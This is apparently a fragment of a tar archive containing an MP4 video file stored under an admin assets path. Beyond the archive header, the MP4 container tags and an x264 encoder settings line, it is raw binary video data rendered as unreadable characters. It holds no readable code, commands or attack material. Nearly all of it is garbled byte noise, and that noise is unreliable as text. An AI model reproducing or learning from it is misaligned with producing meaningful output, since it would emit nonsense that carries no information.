6v!wwأSOoBiF^{[4NG3qc.O`ӚD;[xRS:{v>q171.;{c ';j}[E  ujA\fxp?eU=(D_VCIf54_mSq3poIÌG? x2wvf\m*R%, /-@@@@@@@@@AsI#6ŃՓt3ud'Y>g@:VO:|΁Փt3ud'Y>g@:VO:|΁Փt3ud'Y>g@:VO:|΁Փt3ud'Y>g@:VO:|΁Փt3ud'Y>g@:VO:|΁Փt3udadmin/views/features/assets/templatesvideo.mp4000060400002262057151724235750015605 0ustar00 ftypisomisomiso2avc1mp41freemdatEH, #x264 - core 164 r3075 66a5bc1 - H.264/MPEG-4 AVC codec - Copyleft 2003-2021 - http://www.videolan.org/x264.html - options: cabac=1 ref=2 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=6 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=7 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=1 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=30 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00e ER /-&8^]NjCpu*,ڈܓv{(zy3 -ul<{< H!߳Ih[eV:1NMLj`@7<75Am@Ob),ftzi Cտekx)OrPQ.A)N<}R'5@jL h30{ٵ-ijgr_HND8;MdNlZp.ߟH-cS"7*z1]#*Zi}1_ ~)$R!o2ѶJX(M0>ue)̪;YI#pWJ̼M8wǵ[%x[cUܑ}lWMRN1P{#qY|BQc|F/_Na$\*մ72{9'-e/:!zlf5pN,>0ҷ,ɉSO'4? @[BY&c.tlh`ݬL2ˊӖ<ɐVVD ? F^3ip_lpϢN0oRR Kt[4eʍ8šbhpT]hۼ/>j_Ql+def0Y9:mFSsQD5eܞkkZ&#TyDeǴ$"(H;j}yn˕os0{d(\^+u/# i'yʩa͸8r,4 u@=㔓;NB[%{ʹ:]J (FD @*.TxDWNaՂ^PV*?57exLQwS%-{!>B9^ *?!xA#?LqwZߥ9'0zKѵF~A)+nQi.*ͅhy: W yo+E*@?'1kf!FA e*LA뿉Tk=%:kQ@+3e1;}d {By{5L. ]:ʭp<NHKT}T*Tf,d>s/ԙz*.ní9鿩!iO槷v5r cq2߳.E=ef嘾E{ִgQ[ h}fj1>n ۘQ/~$ۤۄ&&%R{ґYI{Kи35F?9s}Wׁ+cч_tXVU9M-H?TvU(LLn2'q].!+^Jq26Q8A9dOLdV 54.bċŧM\4ZKD' tʤ68D‰A'lLƧ yPtގؔxNIiX 3'Ơ'8Bm")O'Ʃ;uKc/de6 rMt J%YWEӐ|#6ChA N,_93džU/+g6cdiymcguݸ@^Uq_p $jR˩w2L ; d8\Z۫.+yJbF+@kԃgA8&׎zGt ,m_ݓ`z0!ϻIq_]\ Yɩ&S}>4d2f;>fi\3ts L̪N1@x3nנ)`VCmO=nʍH30,g^8?4_œsQ1"d3tc{00UR4GG'I::e01cQگ#!f3F]p xE zs/ sblBB)aFD8 R=6Kr9" FvH^ Ez^XCebYkW;gp/Dinzt[ɲ~A=gbԁ|Y(ѕ6ˌpY afNRk9VG{fMvLDžၪ%ԡQK"I\K$.4xO b F8|+ _ЧIۀ='%os_dIw+ j uzDAuxDPuOnPI/0Z% T%DHP@Pჿ^htڇ8*KzTc9stD!?(Pѝۻ0oUy;TꏲNqC4mv"cR` cxS;wDiDvn }%"5IEPsiqdJ똆1(9J?y-.p0ܟ;9,Sea7Hkk[ ie]0ĕWa0Tp1 }a '/ԗ;~+YL&}!{2wʪWg:$^ 4`:tnjZ:ЊχIN[Il*x(N,ױX-cKT9a"+r{ vy:oDR/uṠfi^J U,I98jZ1 [_zJv &xٹzkRvQނC ,fό 9}F*ۓ4 ^D" 7-y%oԶέ]Te'ޣ"w>Fy n^ ٺ+fA RO?-%o3$GT&-3{6'05jM"i2"? I< G|! % F f7sR'BAMktOi}(>o SHWQD菡[3Dܶ^(4#1Bv:Z 0.'e_M 'zK"k!Btl:qPq~.<. =25 }_|}#ՏbHb54ռrd%?Ld 1 I%|n«7ҭQKpU">"SF2iF4?YaFᕏo7?XNat#e3}U{+gV3\Eh2Ψ~ s/1N8A[dTSԌ!0ivd9 ed:К&zQ@e] wg?`s&Sp-8ŝ>ah]_H9v-#``߭Ύi:Eng3#|d[ žH1u`'".5-0w /֯\'68(}aYK,`̡7PqpN(}?Ԏ#6EK ZuN Іzrj$~+-0-~ 6 QK~HR ǽoF֜:Eٛ *#6초޼Ź bOsy>j_|ntȧZ bqde V(C\Ujx|Q,X%KHSpŮqq5GK.ˁZ\20Lٸ`drFR!EՄ`5y-#LU<;sGon}bweq"qݹ&ګ\c f&1 yi~;Vmuy1gNraziklBݴ?+Z-%34_u4`X$UA<uZEԮF4%U-&~X'3vF z6@fYe:VxU"le <ϓS赜k@Peh4T#QXe=s3w.ע[V :ІFIzޝ"ĸēyRYXlg}16"߼gP]\e54*:AIU7 צ9n@㖇[Uj1):QW_¨< ӳG8ds}^FDZx陼n~M-s؎?t!c͞kfկ ؚ٪Xhoti-דtL\i͆z$b+]T壎3?`5:݂gt=c|0>2vM <;:;?w(J8ssя&ڸ=?2O ~T͐N'|ŃVNc5eqg2ЪAf*.:C@4Lӎ(9e7Xm"Uwm˾Zl(.GR~v5~w@QWz"}r\,0Q4p)`aT)<8 mlKN4>|wA$Y4g ͲjQFXNƏ=՚ŋĥ4aq1ho~t>OprDzOGr_SW}#'De$bm-κf_ =e \_K-LVBj{]E):?.iuJO?n&җ 6p:ONxtNx9nհKNۯ~ :=SJa nJ844 (oe>rp!m=ru"jiv'c:V7!;9E[:%#8`%^gnRҳ͇ Zմ]U *r q F$%Vb{sD36t/>;G&9练,Vr1+N7m\\]U`撣HsNa #|m熭ӚC#2uVЫ2Z& n[7 LT-'pſ ,,ҫj'(wb1a9:6eo\MaE!#j^gIs͔(c=mL0<.& ΐ70KNOD6L~*dHA,I#k"S ?;YEU|cA۲S3|UWݿs(6)3 ";ڛU7W,xEtғ~M1]h$mkKk6csĘ}w͔l%*;mn\֥fU up_@: M=.]Z_\$ekvt<Ȏx۠=Pߤ!TI`m^O&!FF66F ZFb誆۾POѭeoFt©[0êJ?cʑՉϘ#I|7є#KI%.BeX4D0+{-"'}G+pƝ3C8vX(:WKVw@uҋgv)kSxCU,gG C8 Z 7??\Cr&$.(y9`{ڊܢ `zs•!C_ az:ݩF6YtUU29֔٨kJުZf6.=؅x4˻y~`#DDn[EJRboV49_ֿY;]@R }u>"!Gf8{5lqkkaf8; .Qd':}zD{5H(sjMrЎ;*v_e@k3&[31 3D/~XVs~νE anYcROނgLf@s{b#hyw/p3#md,ƒ/ ߄= PvXb(1"P!k"GC4z[S!yL7:2#9θ)Mlx9rA=]%<,XoA+nw$ țk_J- 3)`Ęq0mO0 {1"sst9b,qMpy-ۀF^ɰ7-)~CJhqo+N[&RdtS$Vª DtGf8E}7. Fca}`))qFX@v9;lv3Acr4k%z![cx%jpN`F/UNw.Nn''95,*[w>׬4!ASlV+Ȇlw1DOW9Ga@KDƛIxVZ"SZO *>,˲ܔ%DB\a2Ezn:"60d뻩7 +1\!e| Ĵ:ēѠ4}ŶDabNڋ9SFv,/vN亣՚p euiNOe}q)UMf> !sl9I>N^tA=>O adk 2;f~,PJ]1vQT+%A"lw .xڥ(dmXixqf=h +[Ej3=̛sIйJAC;J3$Pw;ZOnٕDCpwsjBЍS-9tj[^7t&r>YqȣM(HeX+{!^1XHIEєmF1ح|=1Z^&.ăBreY&JQ3x \cPM}Í=sIK;,)9kiuؒhcdH%hjX5Lavc58.134.100B 8&Ay  l[r2<_طS(*3)HA!`!`lAF+ Ѩ)i~T6F7H+Q&/?mY2TvtpDsT4+hHSi6un$}i` }Hsm;v ҉ʞy7CQ^\ix&Nx6)Xj SsFcBW:bX{UqxjXKu@%LhZ N't-*^ō>ڼIy,K Eeq&BOĊ-4}]nMy.`f3Yt,o $;vW/4G8O0WJvPAJG;p!`!`%AdE 03i-5DJPmF{ .4=aD֫_0oBt呋QYQQK!`!`D)6yA`!`A= _pٮ$]Vm7l>6 hy p&W(IHfF/ER5ӢR AA3xH!Oޕhci(a/fO07MI __0.A>!qda٦X+23frhIp͓oEC5mAo,q(VA}yȩ:.*2g W򑴸lkAЇ$J_3Z[fPU.y$<?FogӞn 1o&#xrX| ^7"㇒Z漏zt +Jz{V{&oPyzO6Q;GIHϖɚ'= 82UXlyN^Vr tSm4+EK?!`!`D)=0D\7o!`!`AQ?wiT][*{BNhz NrbtV &s`g3i,іZ0$ hyI/o-xEݷ0rl-9E]-S5Щ;T[V:U! q#$&5%B:_d2_?Y 2m`;t'NؼP¨u@6]TA=J7pqoAYX{ ͓qA#Orԙm׌5.۰?]~z^ i5b=oCH^P7irHڑkfqzvgZmnM?-3-@<Su{p 6̜Ϳ?Qz# 1_dgs ,Pql)-$j k~n.ץŭ!`  D)!`!`LA?~@8D"v\nTzdtEDeO@LYOFE`&菶.4t?w8ف!`A1Q2x _ ځ܀TVbCT^cr|Bm/B :Or50J)-M1wH>!1B$@=1rYV@&>Պ:O0g!`!` rD)!`!`AuSOM~C`նbZtmF>b`GjxvóZ.2ZB.AWM `uqSN%)wXz N?rGP$F#IsQ) }w3 Y!` D)!`!`A+n|8xHғwG1kjHxZ.@Pq c>ܖB2Ak~"p&DqWI!zWH PGFp=J @Ir4dRh5H,mBy!`!` AEʨ=G Qv* ߺ >&Mς8D̝#UO[ԭ6 `M~U^ڃkGdy>d/\y=|=+&`&g_Su⟏4\5!`!`oA= *ZyGvIT>L.ӤwJX[踻͕,{gQƄn,v䲝;ozBZQEUI&'v\&Y3پtqHt;jG.~hɣ= ^glpKSPY:Tyy`mFN yJMSݓG7o6dw c7ΙV.l@'kHgn%oCR쉣&cR E>.At6NW3m0$k-}Uʓu2/]Ս s&6LK_Y0CDjOʣ 闯-.nTub3u 5?@O 1w܃Lstj{"/Sa™7s: M4hw R'Īk2F<ʿR/_a;}Iq` 2Nuo>f \}Ԝ^NYG:8-N>Oq@QwvCܲThFщ•]t>8{p݇\z; 8]=5AN?̯}#zJ-'NkqN9=/(Lv5b 〃]S€oɯk$tDh:&:zi&x0um|l#z׸>yxP [G*pp{'aEPzUlvO5q);cicY-kod)Jl3n |d5׍췦(_G޻2QgF6$ENihxT)d 1>GpW-qNOY-LU d0mrqPgɦ,fDZ44FRm,fPl"J\O+\n \ʯc^KY;A!ԊZWk쭠X[֪j>w&* TaFUJ0Ѵ.'3N\I/k20䘇XQa5ǽ0# Q-B>&EL1i4KqSDhw0A'tt+T!8o S(}b 4$4:6@MtRd5چ)!` D)fk(~2rdnf5ե}WA4 &3 O8[Ne02cuT2wD #"~XTmWZq5Cu9 A[C>J6T#Y }Ik] ⼱Ju~;vHf\X)m#bp1$!`!`A +|;qI/RCjҚ?G\!Ul$LQ5=Fy$+B9trپEŘ@?{9"4?9r Ncm Ɉݩ=p-rwELl lj T +!g'cv'/id{‚ff%rкc\\k>G~?i  8.&0`Edeï:gAK9Qx8gYvWD@ؗd:·u\Cs9PE>ҍn.WoΨv'u8O_Yy%(,+n)ck\EΟ8j!Q-*J} v z˄d4W0HCn_['&!y jaڼ*)Oc}yVDX9ᄄAy \:펝6 "0#7"G;H'S;< (< 7|myh<#+%L`k~aQ;˾̂XD-@lܢq oPs#Ԇ_ m\]^bV-C7|<qUmg)^73sBERjz!VEh4\5cJaϾiSt4?嶒pa[{՜6g8x5ڢrVeO4Nxꛢ;/J4bth{ E)OP=* iHӣSb ]ˊwmz3J76i*ԩ&'DE"AEQ =_s-lE/_1_~Cxn> }4 +촆ʉǜ6W˕3^Xy"Hx\yr)xD Mbv\ʹj-Bf[{{RhdñoUt J SvZyyf8א-rA@:G IO1{}Bo-(ѐ]BQ0M'Q!`mA/QS׫9vh$og:i&+( h`̄f9֢ 6X͂"tD _^5OSG R|R-F 9Кa'sh"@fwK56׳У=(WcJY G2T$`l;#=l|^ٔPʺc )7sHKVU}`7kEs GRKjB-8צ6Du+?1dI+>B:sDdvQB7$605cЎ~[ ?|̵= ܬy5I yǏuZ\X-fXqFoZkibh;mLo4`-Oߓ &X(>ucDyrA?Nă;ՊL#p .9h/UUGJUfvy,xdZu=d|pSC'Ze,cetgCQL,O;DET3ҏ)2͋lQڽg_=BMSMwHrQGCiA@ eLmp NCm:1%M_Mpʪr:0XƖ MIMcsHñA4ˎZ{(|tU*)efv)|a%6n}rTf- DHa@yAI?Y_o!W^EpN)pN^IQ#£[;'Q-z߱= /MiZ}_lF+UXjs>p3,uؙYH)XkqhҢӇzͪʚQ#/R % ԇ劀ƈK`bus̀I(ʿYh;`?Xv2&t/Lbڳ"w nѧ~{oyLY}|r>qbzazj>Zn x94Vʧ`ԗ.Oy %KP\w,߈ hCsWI!Z#M何b0.}2FT{^ALtIO k]hUo0)LyɃ/Ks"c]{탲=f2MM;uO j1eU+ T,;ҼƘzUv-s J,b 8u{m\jB>bRo7txZ{]Aq:?p{_m5PdsJ.Nс[7s ِ.5]re0/{sYn"|b_ '[I- /j_TLfG?ZŚdF(4mhvs&CwBK6~cV`Ǵ7x]TzŠVWKR cp*CAxH}̹c,S,}O?oaTj81 R=x ZP`Qo91}7@4v)^ιHΔScY<2W*K~.;@⚘ ߐ"_16'ԟm`gvi>ݿ~( 7eM+hI2n6WjĘy]()J&v&:wPt_xR rFLjٓ\3{_K6P{ØhmocD%@3FDN/蛨D0|m9Ӑo*hY{^/ʽd Ocʦ6]2>&>eWΎ ]uz oܬj"y3SkA>6*&Ÿ f1BQgroDOFD4|xeޡrt%q;1ի ysXuki02͞q]DMp=t>[oq&cV1 -}7|Djjt B \ AaU(1ܞ)'Kyy%GNd$#L$ /2ePuLY~d`n!`AP+!'^=0DK08%_[/mG!VoO>#-@oUɖᵼˊj;d1! _!mp8Z>`swEJUpZ{xl7B_X!Z:_eL 3ri0ypˑtP~k'SRt> .18Km  /qoZn=W|tb&fՈj 1C`썏ѳpcg-N fE솱X78bzJ,M `X]6Q<w<>%'Vq6kAw~X0)e@|<G!8hThIuo4gb&YGVr:X"į{u~HilO骜Lf*>?@%ڢJh['v$k6=Ϙ̷[A ]Yvgd jkNLT%R7l\dg{s˘򎻧 kTrDVl,f θ奺Kl Y9dFtǵ iBfǓ OoԾGT%B@-3AmFET^·ϥo9*l!0jH309kEvΪw48aP]Z?B* iTȿ3_D_?,j)#Wkul[a8F _R=h~ՃչQBԀ۹V3UR`& P_@-* ݋:K]- \ o%f/έ u?B'6YS?cL KHr\_ì=# hq)Pެ0_ ouX+f%4d|+ٰs$do,/H޹WK -;CVHߣ~ZDv6Ɩ3.ʌQ#-u{7aLus#P<^҇&¹vTV5rמֆuRLӇN;ON"tq$H3*VN@G@Nf*0/zr[Q3JzxUq͞p'ސ0-Z7_hq^4J53(0-3/@yZƟMtqXR$Xza`kdYԈ juDa: t0uX0WA_}?lk5QuvA6ׯ)_/*N *˚Jsc`RG\=6$EaI<gLsdlY؍rխ4Q6 ^ ?wecԴ'L5y}ycl;8=u7OL؅M]? uFl瀼[X72ڗArQm4 ][;˛GTV;5a#~R=/ )%cE" jtx#';9: \auTrj.Y)CJl 2r NSW!KI]'9S49둔G"<{@Rll/y#k!z=U>*igϑHxɼaC}1$@Q)u]Q)Uԇq45b&!1m_j~ƸS]cqHv=k-W2~K;9WBձ!( nY@{`7*2"y'SH\h"w "VbyqZW]L'G3,F~XdEx (łHQ %qW OV] -9@h@쭈 ]b2d 2Rߔ.0WmBU3F쎽bq&S8#vӉj6"0,{~8./ANy4udϟ-_ynQޘmdoE+%#CTy#pյ߶b# iFV "Џ.5p.ʋn, |aYu㩊qB(ݹuysN6HxQI.E!|'Ds~d# 78?Sғ x3C?YG'4&Kl.aatw 3JO u~b;҈R'Th~C\c@v6;Ob,50xNU-Fهf~$u `W^]񯖠6Sd6U.zaMHϛ#-˶4"5c"#u}49rn';ỹTM%BKvWJUY ;#ȳJxxN3ar6pA Rk"3)S|MlDө+>"6PǶ+Ȣ霼)pwe$)hDN@h .np)}I.TLG"']Gmˏ:]=C. >'e-؎\䆅,zSdCRP0cNĜpo' 壾 oURb#{:"wsLn.%|ԿmI.] brWE 95xtsY+/])U=AڱNzlֺqpef6sjx"$*([x\{0 ~'I`9w?jX]gzH 5jF6yn 1jkxhGFk6].Z<? o 9 ނ#܅?yte*d $AXI&+!5XD dtbHgDQI{sx3j *`ēI; Lx9ijʜNĠ^H}EqK0%FyGe ݛGJ{vBy`!`SD)D'1|Ny TEVXxqמm/ sSO-k@ }\o=tP{1A5߈ Rqsp:!auZo_%N$4Ta@kXf+5=F1q4ސ7ntşD޴tMC8a=) K'Pw%Ld=wQYHm 6V6fZ'g >;^G-\ Y0l2i/[$MS22C_bȐx@zbz=w_5\RqĩcW h9Pp^ă]D z[~'"iju^Ij"~bf}$"gy}75;-`}VU)bx_ KV{]3]YHbM,C;D5´Cjo J0q8a .'MEW_O~,rl]#Awe?"#0t-;ku*4Xꦩ}5X&Nmzq>NK {+;&F -nZ^͐׃].y`gs`Bcg?/9j;odK Aٮi)rV,0f5p<:r//Nq\N'(jqlŠexXa_%_{3A:PΟj|[_n6=}<}aSp~ئ#CHIYB~ iv)^^YӈB)cT´m@cܩ8r*m=s5GJVN]?25cq~PP ͮy04ȕ;.!"5" g:R!Œ\)Vbi9KK MrA4q< ߨ]LiπiGVK1?/4 !gSF<2p@mgT)I~,9F`7PH=!;XGNĢD 4 DQËH.E1_]= 7d èZCJ ),K[49YhIns [xt%mnm0w mF#Rn%av't{HOSKCYY(7u S~*WV)ߎ?hn[vM{*!:M 'M9Hњ}I:C"7˸ ?f(T^j&g;˵^ws!rvQrs5̣mfMb'{ YzVDJk{ϋ`o" !  $PŒP$$0^L7Z.e|*B!)N Fy3Wzqmdx\@c1TpՌIIcW#E|PYFԕz0H7ήQj] os~Ëg;="OM`"ooRÅJhFr aG-*N~8;Q}_ƸLD ["@#[c-kDƑ&񅹉zM?^Pb7+'[8TbEHq_o$MK6EY_d>4@?a#:ll)$c,l eP:pA֢3h6_T5`/t cEaꢪ?G!`Mi3>OZhM#$v,G)88'|Hh-G> g"7I># 0H򚎢oReU\faNWxgN¯JT>hsp tL~f!z!ׁ'"| x[rTVaXn S,u:&n!X4o e (i %s '-ՠ]"͝%6_?S97)"+ _3^,u<3E/a"ZGG,u$s}#Ե[*j<]%iXgqA8!Z2jv.A@0#O3"=2֮nw6x..!`!`D)mx pPq+יt4OLx5rhEn=6d HlT@#馽J.pnsHmt/2W0\*cݲ/[1(.Ӈ:(b?U%@Q_h@p|x#Ml-+pӏ)8t8Н6oRԣ-߷0exk`l{J+j ħ_%[L$u-ȍwk;,UBdmCcF Dh"24a%:$lLe[DPg !s泄AŒEA^F:l'/r=.e[_*&KKכ pd{|@~P^2;ߧa69wT}`M-`C|&D,)Ӿ It|3DXdno Lx86=Q4}|:_S؈^->/GC'̦iڏQJ!cPz_ D"q9.ۺ!r"||$U Ɋ2kKakIR3fB'{/%%~NڳE8O aw6s9'^à SpYt83 ?[yG( 1|;eV\ *%ʹf03+X-׊I>>$+s)3q5dzR1 5WC~VGd*s&n}iaa",S8Jtu3L3GܰY^3<,:"ݵϢEvǓ>'Ƣ) \= d!3||{2msgl~\_Df7ǐ;@¿`2?"jEm#wb5 ju`gk곿o$xYZs馊+g5cjG讕mCR͕*[z5y'q(ͧ6`jY IuAɸEg⚝k=mZ!7-Uy٥00qa)'_/W<ݔ|r6Qgdyto!Nl NR>IlR._y}_Saއaz7pŵ$%SW08 QKmpUHƠZ:R5sJ:#s(Av6Utc쐹V *^¹'=fl{5qĞ$p]w/ެXACioD(AәOB g#ݟ5k/#=бc awV*930735;hLNFfm21lT ƙAZ'7mGɁ!`!`ve/͂?H<1 y}FriD¹WgFs0$4-JTPNҰA6tɳRx~p}Β҂ԃ&4۽z]_Cn""4sjOwc2TG |ulƉ7'U: N&N12%jtU`!hcIckf45~XLbn7Z { 8mi2͓X 8k3&S{nq?. 4;.2ڦLhoۋh'I݃!d(:_tve-+gCxi!5yLzbnɼf cs"qW掹boJcIgkLGvacODJkKSA\/A`pl;"Q76?9/"4O{51ɈQ2;\f틧*™_$n.t̵\9OB$qo,9j@4 λQlY?x:%N#%?Q0YKCy#{vGƷV&N=tS{W, 2?HtXzDr&k*}$OɘMI^3rxBo( 2`}>9$z/}֧WBe; كGbX(_o/wyS# B9ƛ [U}Fo^A9u|> PڵF3汴(’g3Et~X X/4gxT#$Dp=jnИA>~dn1ڨz6EGrw]]0s/j7gPӁ/,ڒ>9.ry[QCϒ@r5 {9̃veUXCj+jf PV{.TVɯd-vjZAгK;0#W!xG1O7kI\eaġ{y|rtGo3QaΡ%ȺTixċWVXA)ZAϽ"³\'Ee@^M$Hvk(2f&O7La@M L3Hqufֺ[9:*@.;IF%;u%{ nCJC֟^eߗL~%"I|oH.v%.FKN*8 ْ?7n,czta4{tu}9'j@Im!`"4P9Exdp^jȘ5CbL7d=NA؅}?tXqMIKjTx0N@U7'G13ym0x3a| 3zkʂp0$Ifټ/BzYnu?gi~߱ JjB %NahQ#DF[_2&e{ws06wTh=BpBtRBs|G,{,]oL8jJ =S1#madKQ'\#a%_j4=Yi`7-')*~DCQD:ʲh\{>HHkd6i],I*l~x#:eпu6^;c#.%}dpCۆt$=Ŧ2vcu\Q&|~S9l0X!׳g`((f?,$v>>"nc+/ݢ\ְ7N CHc)w ?=_?{!-/#&]3gF\AE>b_2KYy2".?Gz4MJM oob"k;YJ֞i8VDK )鞈iuׯI]8,a+A()&-v= Ro_!`A"lW;sXKj;UdГ(boYp{RyF/XߒoCj<}f_s^*̡K4[˲C[:ի5 -}zOa`ª 'cB S[f"srV %dӐإXO=a$Yb3FK߭W[1t#`:˝͌l?R,7^ ̓x2~baԺo}9?É-MSsW"Pce~$hZ鑡b)[hU <.%?GУ,,И]umramBa]vXQ٧ _)gH҆(Qf&"Z&j g2W_z][uԮ֫$9%VM(0̥nȪa*$t]`T0_`(~*@b|EOfq{`ɓ4FԝꆭB2Zo*ܝCܹ-n%%%_mS;jzQ|ZV[o"HڈrDГzyBKGĭXsż t`'R^1.D1:z1.ѱ#%!`!`nAy Ξ{3m)8]|-Pg!`AC?Ћ LgAuU2wLwXLԾ_;^X wg:q͊ͻg@hߧ6'Q€"Ә˚4VH&3 '> ?cYqF~ꃁV]m..zn|ʱ,.{Z>(CݹVZG~IjKga`R|У=;t@[^d ;BLg6Y/ѽ,L*юMLdKe4Vũ~?/MPV~[$뙉)$~9qr o5FF0W.|T6-if^% sQ0/!lg}(/=/j/hװVy^&rcۧ꙾dia苦c侗^@!?,'{׈?d}geEQp.?ѻ%@+Qt%艍^r1A/vP@(y4=yzN Ị^ia!Q/cl1ww;Loe c 5*Pc!tOm WzIlɸ-?Z ` w IU.F.SH~&+y_x[ +}6[BCplʰW_f8SaZ?+.$&?NR jcpg ߻ 4D+IhbTu`]Aˇo$ r`ǫGEߑ`<<*QbN yej$WJ#GG4"8pèik\ wGwKuF{y`O[L~D}U-# Qך$ǎ֜ 9,!`!`0Ad?@!O@V)I<ńph.t,?ev EB'u" A&#Ρ_C[aS`)I&lVA49 nh|CƢ!1H&!@s^ޤ,wwYa2ۨUC J5\=c i7=EyI'`ٕͮu$ir063Hˌ][D˒\|!\I \Q *A_d[U,"6 _' 1?U(d2SS X:^@l~Ui , VPy4!nvcm55YT Q?;^)wZ̿T{e^e΃Pb@Ɂ/1>D>Q)x4AkLBzsgnNq#fi-:9(9či*,p#|P3H1j1XoH# pP?\3]\)׼3ҡ? X[NQ Z#:}<@P"scwid:"4(o `y(Ş[ޮ O̴Y" r~5eSir*{zClϳ:\ 'Oԕs zw~RA_!`!`A?_މhR4"ýo^Ң/kGu7NqCNU^w<8TƩv+IqLf#L05=zs(#jݗϐ"1_ϒ{u)?߇[װ [aaYGb=Cdro2 59]TuZQT4U1qj} ?y˹AO#יr[c:GjalP܋렸bBH~$6./L* B[n۽ /mlF|?^63M=RC1|/508}Ev/˨{4\K"T>OfY,}FZp Vxq=:Nln6VIJ$|vzn8~RE'!@qgbD-aOׄ\ -ׄܜH:>&MKl,JLE˓GO;u&d!Q7t[.[ϝ@X:_3?gط-ypJ\$7Fn;v`)Z%Wݽ`Şj68IY>fi\ !u;LgFAC?uf(Ev*8 8{ r E{JymoFnln¥c:T0fMܔI:MF(-l-j[ \oا)ț f79D ;]HPJΦ?^^- _Z~J)?\w'8Pœ{= 'C\;Xa=# nىiVp-mm |5\!N%񛳰Cnb,i$ i9~j"TZ7lTib$^(#B.6W**u18oM*V=Qp@|Tv Lfj*uv7"Biĥzڅ]xlVo X.*sQx_ɠBL ͕'o&z{6FA irЯԷ,u1 BS^*Ss.MSh?>uFdo,eH $mT!`AQisޡ!t|+ztA |22(A, fK:K˯‡tjИ' NswL_Tx,c8s t[.zׂaѕ)qi#0իm4RPØ 8:qǛ+ŶF@lc&TS%8.X-3]f6v$hFl@̅egJ

        #mXr{*];v}R mK/TV_xs+HNve h:1-m@[q}E}4]%-`J$qti6ғB]-[ < !*+u0\Q8Qs3ׁjNb՚A0!2 [7n#Ce2p?ͺH:Zv F쇁X]JW]I.\cQaTˣW{&r_VmDKQh3yh|pA{O~%ۿ,qiljkڑkO] ,L֗3keo^oz+ Mm,dӽV\oD%$|o !LO9D?焉_ /26.ގM$hu^lD0N8&6qggV(SXNMېP\%y%:v Y-CsT9$5Jsv.zНضr.jy)-.Lt\ _z` mC(kj{@?n5{Iψ|p >=L%pl=>fDچ>W8e XSՔ^ $xeZ*c]~ʼ-9b[~HC[*#cd_]Mŵ<2z^b1;1W!ljlJ_0I \23,TULYض!\e١|%9>R'g3n`z Ox tv#X 0GѣGmag*[ i ɒ86c|`io? z,צW&I8MX :+tv ,l^F^b%Jzrg/~JV]5ğ@תBޮP?O)lБ ...Y"챐ɸ5ۻt}Zp aG>Gl ꅥO*cqmP ?`Bs'_pSe!$~|rVw\ q糤Ffa!'Ù!< -k>7o֣ϸ=8/T~l' +tI(je)}wR68zXVMh!`!`vD)s"N39LBף?`a2@KpB?,j@4-L/icȚŋ%6NAI6`l.pZ#$+z@@sK!`A?u0'N<Ӯ f+!-+!]UtpVɍLl#PDujAhܭm娲5TBcdh05!U%o̎E*;Dpu<ID\zvs,\!Ź^nf;Zu@KqO~qS~I iן7Y)>zS&b1f9/7&°k Ϙ6˄\;ّS u *jyj% 0qolfA ~r@5rP!o,Qi&Lш n0qJUt"Os_)6x@$,묞\YI0,nkr{B,(`ᖢ|,[\f' 4BxG}r'& [0Vk-T>˖턫 d<*]Rڋt*ӌfupM !n`y6é,JBZe>4P@Ʉx3vw+MC`J9I;jI1ÝK"M b%BDIzS㓩5nЈc! [vCSzɰJ?+Nb-Ϭ^#׿8 lMsjdE\z;AQr\<9E. 8anper>U qU1936tW_k\*d,:MN.QYkt<5>y%iM<E5:Fv%جqo'fɥ*h#Om{颱U'7ԚUI(hg}ˉM,GWeiի8.E{>,K?H1OF쀱@W;@+j' lwwJ`'Ì>ςo/=KDd%=탲3z}??,g8L:p׾0n2[eژRx8jG|ɩ׀ŹWtUN:¡F_9rjxXGX\F<TΪ@{.GkDhQ_c9YA2 p{ 9)`LVˈA3 1y7l1!fPtwE77C+*Jiz9\/wlwYC<+CK qJP!c﯄FewvH/*F+U{3?rl>ꜧ'KH1@{ Oy8-9V'gL̠n-2}RKrѸ8¡P] >ӧ1=R䙋dP3BUt{ǯtOTlu頱[w3忼%GJ8H5C/ifYVk|R 0ӡ9hD5h,e.@ ̞֢4OByZg}~ol%5{ "*VR" @-{osxv(ϨC]G(Q=ƙ4~(66BNi?\]dQNf|+r[\烺Ԟ^3<Ѯ!`!` A?Ҵ.a>kjvJ$]y6 .b}(m_g.b:o_LmmQ "Nә*6eU,j [uuTjĬ?5U8 Ƞ-E?%w)#QJ2X- +YtxX9X Ȗn$6Bq$XU!&Ⱥ&I;JVV g`x'sj%&QW,Թ?rbs`_s÷-mr57+`FlɭVEZJZw;S,)勧Irv[O{1>\?QeP3CCLPۋXP];.K*0;?yDYt=JcJF3^*Mrѯh_ѭ,u"$ 1n۲xc\=F&tm x[cOKW`U1{NYz_~-pt0OGZ y's1'sn,V GgYqYP~-t?w]ެeГhČ =AhLFd9?i="Ghrl{.9"ٓf)amHd~Lو%̺=>mțG7 '*ͬaO/iVXU*Rhl/n*V}*"~j\[|f79$.*Pun# yHGYlXgG߱8>wl/ʌk/6y#R,)3DhV3!O2j +n*N'#bB'ƥc~6>5M,{(Uj+iRJ8ǫ)@}Xz `l U-]Rژz;2:%+u2p 2ZMم Ɛ Ed<+XFʮЀWj&~lhȶ,2wSPrde%ċZKnǓ*_6MkS+qбf1|M Sڀ=5hd!8ȋ!j$.4.wQ`8P[g5\7g]߮=ԔK]NJ#6䀝1)UsM ᦤVx5GM7xnlg &!dB$bYd" T ӿ%`y >P.큀IqTr|,#$'jp$}hb̦r%#g2DI!c}4U1 }<$F!>1I\+A?+$[ ߭'@_X,Ywo[YvKuvESjSOSVLHWNzz>s('W!,3ERx@?͋4kڸJhڵ/(\C%Yb c:..[՘移nBHe[3\9Tw%"Ϛ [Eso:vvD/^e3{&rm˻/NyزJu[RH󬪆wfPM^xFUq~ᑙ0N*m]v5ǽNX"1`T+9!l Lz8}9/X&dvGt 8v4dI| [5I8L 4CczG$('lPڟLĔ+WfE3ς *v:JEY !蛃Had!ʬ,ļsgX-g>`(&b9bo W՟NN)(U1;M}4r0} 